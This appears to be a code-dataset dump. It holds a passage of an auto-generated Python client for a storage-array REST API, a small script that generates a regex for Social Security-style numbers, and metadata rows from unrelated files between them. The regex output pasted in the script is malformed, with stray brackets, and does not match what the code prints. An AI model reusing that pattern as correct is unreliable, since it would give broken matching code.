path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='str', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_enable_feature_evaluation(self, system_id, body, **kwargs): """ Used to start an evaluation of a specified feature using the duration specified for the sub-model ID in the FBDT. Documented return codes: ok, noHeap, invalidSafeCapability, previouslyEnabledForEval, evalNotSupported, invalidCapability. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_enable_feature_evaluation(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param str body: (required) :param str controller: Controller selection :param bool verbose_error_response: :return: str If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_enable_feature_evaluation" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_enable_feature_evaluation`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_enable_feature_evaluation`") resource_path = '/storage-systems/{system-id}/symbol/enableFeatureEvaluation'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='str', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_enable_flash_cache_volume(self, system_id, body, **kwargs): """ This procedure creates a flash cache proxy linked to the referenced user RAID Volume and the flash cache High Level Volume. The flash cache attribute on the RAID Volume will be turned on. Documented return codes: ok, error, illegalParam, noHeap, volumeNotExist, volumeReconfiguring, tryAlternate, internalError, volumeFormatting, invalidVolumeref, volumeOffline, notFlashcacheVol, flashcacheDeleted, flashCacheInvalidBaseVol. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_enable_flash_cache_volume(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param VolumeFlashCacheDescriptor body: A reference to the user volume to link to the flash cache proxy, and a reference to the flash cache volume. (required) :param str controller: Controller selection :param bool verbose_error_response: :return: str If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_enable_flash_cache_volume" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_enable_flash_cache_volume`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_enable_flash_cache_volume`") resource_path = '/storage-systems/{system-id}/symbol/enableFlashCacheVolume'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='str', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_establish_volume_copy(self, system_id, body, **kwargs): """ This procedure establishes a volume copy. Documented return codes: ok, illegalParam, noHeap, tryAlternate, internalError, iconFailure, invalidCopyPriority, copyIncompatibleSource, copyIncompatibleTarget, copyGhostSource, copyGhostTarget, copyInvalidSourceRef, copyInvalidTargetRef, copyInvalidSourceState, copyInvalidTargetState, copySourceReconfig, copyTargetReconfig, copyTargetTooSmall, copyTargetLimit, maxVolumeCopysExceeded, copySourceReservation, copySourceFormat, copyTargetFormat, volcopyFeatureDisabled, copySourceZeroCapacity, copyApptagMismatch. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_establish_volume_copy(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param VolumeCopyCreationDescriptor body: The VolumeCopyCreationDescriptor for the volume copy. (required) :param str controller: Controller selection :param bool verbose_error_response: :return: ReturnCodeWithRef If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_establish_volume_copy" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_establish_volume_copy`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_establish_volume_copy`") resource_path = '/storage-systems/{system-id}/symbol/establishVolumeCopy'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ReturnCodeWithRef', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_estimate_pit_rollback_repository_utilization(self, system_id, body, **kwargs): """ This procedure will return the amount of repository capacity necessary to perform a rollback operation. Documented return codes: ok, invalidPitRef. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_estimate_pit_rollback_repository_utilization(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param str body: A reference to a PiT (required) :param str controller: Controller selection :param bool verbose_error_response: :return: PITGroupRollbackUtilizationEstimateReturned If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_estimate_pit_rollback_repository_utilization" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_estimate_pit_rollback_repository_utilization`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_estimate_pit_rollback_repository_utilization`") resource_path = '/storage-systems/{system-id}/symbol/estimatePITRollbackRepositoryUtilization'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PITGroupRollbackUtilizationEstimateReturned', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_expand_concat_volume(self, system_id, body, **kwargs): """ This procedure will expand a concatenated volume by adding another member RAID volume. Returns the ref for the new ConcatVolMember added. Documented return codes: ok, invalidProtection, invalidConcatVolMemberLabel, concatVolMemberTooSmall, concatMemberLimitExceeded, invalidMemberVol, memberVolMapped, invalidMemberVolState, incompatibleMemberVol, concatVolumeFailed, cannotExpandConcatMember, repositoryFull, insufficientExpansionSpace, invalidExpansionSize, incompatibleRepositorySecurity. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_expand_concat_volume(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param ConcatVolumeExpansionDescriptor body: A descriptor of the concat volume to be expanded. (required) :param str controller: Controller selection :param bool verbose_error_response: :return: ReturnCodeWithRef If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_expand_concat_volume" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_expand_concat_volume`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_expand_concat_volume`") resource_path = '/storage-systems/{system-id}/symbol/expandConcatVolume'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ReturnCodeWithRef', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_expand_thin_volume_virtual_capacity(self, system_id, body, **kwargs): """ This procedure will expand a thin volume's virtual capacity. It does not affect the repository volume's capacity. Documented return codes: ok, error, illegalParam, noHeap, tryAlternate, internalError, invalidVolumeref, illegalVolume, invalidVirtualCapacity. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_expand_thin_volume_virtual_capacity(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param ThinVolumeExpansionDescriptor body: An object containing all of the attributes necessary to expand a thin volume's virtual capacity. (required) :param str controller: Controller selection :param bool verbose_error_response: :return: str If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_expand_thin_volume_virtual_capacity" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_expand_thin_volume_virtual_capacity`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_expand_thin_volume_virtual_capacity`") resource_path = '/storage-systems/{system-id}/symbol/expandThinVolumeVirtualCapacity'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='str', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_export_lock_key(self, system_id, body, **kwargs): """ This procedure returns the WrappedLockKeyReturn union for the array.The WrappedLockKeyReturn contains the WrappedLockKey structure for the array it was exported from. No return codes have been documented for this API! This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_export_lock_key(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param str body: The wrapped pass phrase used to encrypt the lock key. (required) :param str controller: Controller selection :param bool verbose_error_response: :return: WrappedLockKeyReturn If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_export_lock_key" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_export_lock_key`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_export_lock_key`") resource_path = '/storage-systems/{system-id}/symbol/exportLockKey'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='WrappedLockKeyReturn', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_export_volume_group(self, system_id, body, **kwargs): """ This procedure places the identified volume group in an \"exported\" state so that its drives may be removed and installed into another array. Documented return codes: ok, volumeGroupHasHotspare, volumeGroupReconfiguring, volumeGroupReconstructing, volumeGroupNotComplete, volumeGroupHasFailedDrives, volumeGroupHasNonOptimalVols, volumeGroupHasMirrorRelationship, volumeGroupHasVolcopyRelationship, volumeGroupHasMirroringMetadata, volumeGroupHasMappedVols, volumeGroupHasReservations, volumeGroupHasIncompatibleDacstores, volumeLimitExceeded, volumeGroupHasUnknownRaidLevel, volumeGroupHasUnsupportedRaidLevel, volumeGroupHasCloneOpportunity, volumeGroupHasInsufficientDrives, volumeGroupHasFailedVols, volumeGroupHasSnapshotRelationship, noNativeSstor, volumeInitializing, exportingDrivesDatabaseResynchronizing, exportingDrivesDatabaseFailed, volumeGroupHasArvmRelationship, volumeGroupHasPitgroupRelationship, volumeGroupHasPitviewRelationship, volumeGroupHasConcatRelationship. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_export_volume_group(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param str body: A SYMbol VolumeGroupRef identifying the volume group to export. (required) :param str controller: Controller selection :param bool verbose_error_response: :return: str If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_export_volume_group" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_export_volume_group`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_export_volume_group`") resource_path = '/storage-systems/{system-id}/symbol/exportVolumeGroup'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='str', auth_settings=auth_settings, callback=params.get('callback')) return response def symbol_external_kms_re_key(self, system_id, body, **kwargs): """ Used to re-key the array with a new lock key. Documented return codes: ok, externalKmsFailed, externalKmsNotEnabled, externalKmsNotCompliant, externalKmsTimeout. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.symbol_external_kms_re_key(system_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str system_id: The unique identifier of the storage-system. This may be the id or the WWN. (required) :param str body: The wrapped pass phrase used to encrypt the lock key. (required) :param str controller: Controller selection :param bool verbose_error_response: :return: WrappedLockKeyReturn If the method is called asynchronously, returns the request thread. :raises: ValueError If the required params are not provided or if the response data format is unknown. TypeError: When the data type of response data is different from what we are expecting ApiException: Occurs when we get a HTTP error code (422 and above). """ all_params = ['system_id', 'body', 'controller', 'verbose_error_response'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method symbol_external_kms_re_key" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'system_id' is set if ('system_id' not in params) or (params['system_id'] is None): raise ValueError("Missing the required parameter `system_id` when calling `symbol_external_kms_re_key`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `symbol_external_kms_re_key`") resource_path = '/storage-systems/{system-id}/symbol/externalKMSReKey'.replace('{format}', 'json') path_params = {} if 'system_id' in params: path_params['system-id'] = params['system_id'] query_params = {} if 'controller' in params: query_params['controller'] = params['controller'] if 'verbose_error_response' in params: query_params['verboseErrorResponse'] = params['verbose_error_response'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['basicAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='WrappedLockKeyReturn', auth_settings=auth_settings, callback=params.get('callback')) return response

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853

0.544451

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5.621622

0.082803

0.035277

0.029397

0.019108

0.822452

0.815868

0.805977

0.784144

0.772079

0

0.001189

0.387028

61,719

1,530

854

40.339216

0.861969

0.345048

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1

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null

0

7

22224e1cbba9cf55ec440b0af603fa6d6018322e

7,603

py

Python

regex_gen.py

jefflombard/regex

834eebed5c1a819d9fe257c5fd83406e8c8c2ab4

[ "MIT" ]

null

regex_gen.py

jefflombard/regex

834eebed5c1a819d9fe257c5fd83406e8c8c2ab4

[ "MIT" ]

null

regex_gen.py

jefflombard/regex

834eebed5c1a819d9fe257c5fd83406e8c8c2ab4

[ "MIT" ]

null

# First 3 digits first = ['00[1-9]','0[1-9][0-9]','[1-5][0-9][0-9]','6[0-5][0-9]','66[0-5]','66[7-9]','6[7-9][0-9]','[7-8][0-9][0-9]'] # /00[1-9]| # 0[1-9][0-9]| # [1-5][0-9][0-9]| # 6[0-5][0-9]| # 66[0-5]| # 66[7-9]| # 6[7-9][0-9]| # [7-8][0-9][0-9]/ # Middle 2 digits middle = ['[0-9][1-9]','[1-9][0-9]'] # [0-9][1-9] # [1-9][0-9] # Last 4 Digits last = ['[0-9][0-9][0-9][1-9]','[0-9][0-9][1-9][0-9]','[0-9][1-9][0-9][0-9]','[1-9][0-9][0-9][0-9]'] # [0-9][0-9][0-9][1-9] # [0-9][0-9][1-9][0-9] # [0-9][1-9][0-9][0-9] # [1-9][0-9][0-9][0-9] # Regex expression to handle dashes dash = "\-?" # Matches 'x' only if 'x' is followed by 'y' # x(?=y) for a in first: for b in middle: for c in last: print(a+'(?='+dash+b+'(?='+dash+c+')'+')'+'|') """ 00[1-9](?=[0-9][1-9]](?=[0-9][0-9][0-9][1-9]))|00[1-9](?=[0-9][1-9]](?=[0-9][0-9][1-9][0-9]))|00[1-9](?=[0-9][1-9]](?=[0-9][1-9][0-9][0-9]))|00[1-9](?=[0-9][1-9]](?=[1-9][0-9][0-9][0-9]))|00[1-9](?=[1-9][0-9](?=[0-9][0-9][0-9][1-9]))|00[1-9](?=[1-9][0-9](?=[0-9][0-9][1-9][0-9]))|00[1-9](?=[1-9][0-9](?=[0-9][1-9][0-9][0-9]))|00[1-9](?=[1-9][0-9](?=[1-9][0-9][0-9][0-9]))|0[1-9][0-9](?=[0-9][1-9]](?=[0-9][0-9][0-9][1-9]))|0[1-9][0-9](?=[0-9][1-9]](?=[0-9][0-9][1-9][0-9]))|0[1-9][0-9](?=[0-9][1-9]](?=[0-9][1-9][0-9][0-9]))|0[1-9][0-9](?=[0-9][1-9]](?=[1-9][0-9][0-9][0-9]))|0[1-9][0-9](?=[1-9][0-9](?=[0-9][0-9][0-9][1-9]))|0[1-9][0-9](?=[1-9][0-9](?=[0-9][0-9][1-9][0-9]))|0[1-9][0-9](?=[1-9][0-9](?=[0-9][1-9][0-9][0-9]))|0[1-9][0-9](?=[1-9][0-9](?=[1-9][0-9][0-9][0-9]))|[1-5][0-9][0-9](?=[0-9][1-9]](?=[0-9][0-9][0-9][1-9]))|[1-5][0-9][0-9](?=[0-9][1-9]](?=[0-9][0-9][1-9][0-9]))|[1-5][0-9][0-9](?=[0-9][1-9]](?=[0-9][1-9][0-9][0-9]))|[1-5][0-9][0-9](?=[0-9][1-9]](?=[1-9][0-9][0-9][0-9]))|[1-5][0-9][0-9](?=[1-9][0-9](?=[0-9][0-9][0-9][1-9]))|[1-5][0-9][0-9](?=[1-9][0-9](?=[0-9][0-9][1-9][0-9]))|[1-5][0-9][0-9](?=[1-9][0-9](?=[0-9][1-9][0-9][0-9]))|[1-5][0-9][0-9](?=[1-9][0-9](?=[1-9][0-9][0-9][0-9]))|6[0-5][0-9](?=[0-9][1-9]](?=[0-9][0-9][0-9][1-9]))|6[0-5][0-9](?=[0-9][1-9]](?=[0-9][0-9][1-9][0-9]))|6[0-5][0-9](?=[0-9][1-9]](?=[0-9][1-9][0-9][0-9]))|6[0-5][0-9](?=[0-9][1-9]](?=[1-9][0-9][0-9][0-9]))|6[0-5][0-9](?=[1-9][0-9](?=[0-9][0-9][0-9][1-9]))|6[0-5][0-9](?=[1-9][0-9](?=[0-9][0-9][1-9][0-9]))|6[0-5][0-9](?=[1-9][0-9](?=[0-9][1-9][0-9][0-9]))|6[0-5][0-9](?=[1-9][0-9](?=[1-9][0-9][0-9][0-9]))|66[0-5](?=[0-9][1-9]](?=[0-9][0-9][0-9][1-9]))|66[0-5](?=[0-9][1-9]](?=[0-9][0-9][1-9][0-9]))|66[0-5](?=[0-9][1-9]](?=[0-9][1-9][0-9][0-9]))|66[0-5](?=[0-9][1-9]](?=[1-9][0-9][0-9][0-9]))|66[0-5](?=[1-9][0-9](?=[0-9][0-9][0-9][1-9]))|66[0-5](?=[1-9][0-9](?=[0-9][0-9][1-9][0-9]))|66[0-5](?=[1-9][0-9](?=[0-9][1-9][0-9][0-9]))|66[0-5](?=[1-9][0-9](?=[1-9][0-9][0-9][0-9]))|66[7-9](?=[0-9][1-9]](?=[0-9][0-9][0-9][1-9]))|66[7-9](?=[0-9][1-9]](?=[0-9][0-9][1-9][0-9]))|66[7-9](?=[0-9][1-9]](?=[0-9][1-9][0-9][0-9]))|66[7-9](?=[0-9][1-9]](?=[1-9][0-9][0-9][0-9]))|66[7-9](?=[1-9][0-9](?=[0-9][0-9][0-9][1-9]))|66[7-9](?=[1-9][0-9](?=[0-9][0-9][1-9][0-9]))|66[7-9](?=[1-9][0-9](?=[0-9][1-9][0-9][0-9]))|66[7-9](?=[1-9][0-9](?=[1-9][0-9][0-9][0-9]))|6[7-9][0-9](?=[0-9][1-9]](?=[0-9][0-9][0-9][1-9]))|6[7-9][0-9](?=[0-9][1-9]](?=[0-9][0-9][1-9][0-9]))|6[7-9][0-9](?=[0-9][1-9]](?=[0-9][1-9][0-9][0-9]))|6[7-9][0-9](?=[0-9][1-9]](?=[1-9][0-9][0-9][0-9]))|6[7-9][0-9](?=[1-9][0-9](?=[0-9][0-9][0-9][1-9]))|6[7-9][0-9](?=[1-9][0-9](?=[0-9][0-9][1-9][0-9]))|6[7-9][0-9](?=[1-9][0-9](?=[0-9][1-9][0-9][0-9]))|6[7-9][0-9](?=[1-9][0-9](?=[1-9][0-9][0-9][0-9]))|[7-8][0-9][0-9](?=[0-9][1-9]](?=[0-9][0-9][0-9][1-9]))|[7-8][0-9][0-9](?=[0-9][1-9]](?=[0-9][0-9][1-9][0-9]))|[7-8][0-9][0-9](?=[0-9][1-9]](?=[0-9][1-9][0-9][0-9]))|[7-8][0-9][0-9](?=[0-9][1-9]](?=[1-9][0-9][0-9][0-9]))|[7-8][0-9][0-9](?=[1-9][0-9](?=[0-9][0-9][0-9][1-9]))|[7-8][0-9][0-9](?=[1-9][0-9](?=[0-9][0-9][1-9][0-9]))|[7-8][0-9][0-9](?=[1-9][0-9](?=[0-9][1-9][0-9][0-9]))|[7-8][0-9][0-9](?=[1-9][0-9](?=[1-9][0-9][0-9][0-9]))| """ """ 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22344d6d72ddb578754cdeae9703e2aa3af60dda

26,851

py

Python

Rover/install_isolated/lib/python2.7/dist-packages/cartographer_ros_msgs/srv/_StartTrajectory.py

Rose-Hulman-Rover-Team/Rover-2019-2020

d75a9086fa733f8a8b5240005bee058737ad82c7

[ "MIT" ]

1

2018-10-04T14:37:00.000Z

TrekBot_WS/install_isolated/lib/python2.7/dist-packages/cartographer_ros_msgs/srv/_StartTrajectory.py

Rafcin/TrekBot

d3dc63e6c16a040b16170f143556ef358018b7da

[ "Unlicense" ]

null

TrekBot_WS/install_isolated/lib/python2.7/dist-packages/cartographer_ros_msgs/srv/_StartTrajectory.py

Rafcin/TrekBot

d3dc63e6c16a040b16170f143556ef358018b7da

[ "Unlicense" ]

null

